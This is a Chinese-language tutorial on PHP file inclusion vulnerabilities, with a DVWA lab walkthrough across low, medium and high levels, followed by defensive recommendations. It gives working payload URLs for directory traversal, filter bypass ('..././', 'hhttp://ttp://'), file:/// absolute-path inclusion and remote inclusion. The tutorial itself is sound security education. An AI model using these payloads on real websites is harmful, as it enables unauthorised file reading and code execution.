简述
程序开发人员一般会把重复使用的函数写到单个文件中,需要使用某个函数时直接调用此文件,而无需再次编写,这中文件调用的过程一般被称为文件包含。
程序开发人员一般希望代码更灵活,所以将被包含的文件设置为变量,用来进行动态调用,但正是由于这种灵活性,从而导致客户端可以调用一个恶意文件,造成文件包含漏洞。
几乎所有脚本语言都会提供文件包含的功能,但文件包含漏洞在PHP Web Application中居多,而在JSP、ASP、ASP.NET程序中却非常少,甚至没有,这是有些语言设计的弊端。
在PHP中经常出现包含漏洞,但这并不意味这其他语言不存在。
危害
执行任意代码。
读取文件源码或敏感信息。
包含恶意文件控制网站。
甚至控制服务器。
分类
本地文件包含和远程文件包含。
本地文件包含是指只能包含本机文件的文件包含漏洞。
远程文件包含是指可以包含远程文件的包含漏洞,远程文件包含漏洞需要设置allow_url_include = on。
PHP文件包含常见函数
include()
include_once()
require()
require_once()
注意:include()和include_once()在文件包含时即使遇到错误,下面的代码也会继续执行下去。
而require()和require_once()则会直接报错退出程序。
漏洞成因
1.程序存在文件包含函数(如上说到的函数)。
2.用户能够控制文件包含函数中的参数变量。
DVWA靶场实战
本地文件包含
本地文件包含如何利用,我们可以找到上传点,进行上传正常的一张图片。
当文件包含图片时,会以php代码来解析图片内容。
low
查看代码,我们看到我们可以控制file变量,因此存在文件包含漏洞。
这里就演示包含phpinfo.php文件。
phpinfo.php在网站根目录下。
而文件包含漏洞存在http://www.dvwa.com/vulnerabilities/fi/?page=file1.php
因此我们需要通过两次../跨到上一级的上一级目录下,最终构造出以下URL:
http://www.dvwa.com/vulnerabilities/fi/?page=../../phpinfo.php
medium
后端代码
通过代码可以看到它把../替换成了空,我们可以..././这样来绕过。
http://www.dvwa.com/vulnerabilities/fi/?page=..././..././phpinfo.php
high
后端代码
High级别的代码使用了fnmatch函数检查page参数,要求page参数的开头必须是file,服务器才会去包含相应的文件。
这没毛病啊,百度后才知道有个file协议可以绕过检查,但是我感觉有点局限,利用起来比较鸡肋,应为file协议需要知道文件的绝对路径。这也许就得看个人的人品了,人品好的话,一个错误页面就可以出来绝对路径,但是人品差的话就找不到网站的绝对路径。
这里因为时演示作用,因此我知道文件的绝对路径。但是在实际中,你遇到这种情况是需要知道网站的绝对路径的。
http://www.dvwa.com/vulnerabilities/fi/?page=file:///E:\php\WWW\DVWA\phpinfo.php
远程文件包含
前期准备
远程文件包含的话我们需要开启下面这个设置。
然后在另一个网站上新建了一个phpinfo.php文件
URL:http://www.waimai.com/phpinfo.php
low
后端代码没有任何限制。
直接构造URL
http://www.dvwa.com/vulnerabilities/fi/?page=http://www.waimai.com/phpinfo.php
medium
后端代码
后端会把http://和https:// 替换为空。
于是我们可以构造如下URL,绕过后端限制。
http://www.dvwa.com/vulnerabilities/fi/?page=hhttp://ttp://www.waimai.com/phpinfo.php
high
后端代码
fnmatch函数检查page参数,要求page参数的开头必须是file,服务器才会去包含相应的文件。因此这里远程文件包含就不存在了。
防御之道
1.严格判断包含的参数是否可控,因为文件包含漏洞利用成功与否的关键点就在于被包含的文件是否可控;
2.路径限制:限制被包含的文件只能在某一文件夹内,一定要禁止目录跳转字符,如:“../”,不能替换成空;
3.包含文件验证:验证被包含的文件是否是白名单中的一员;
4.尽量不要使用动态包含,可以在需要包含的页面固定写好,如:include("head.php");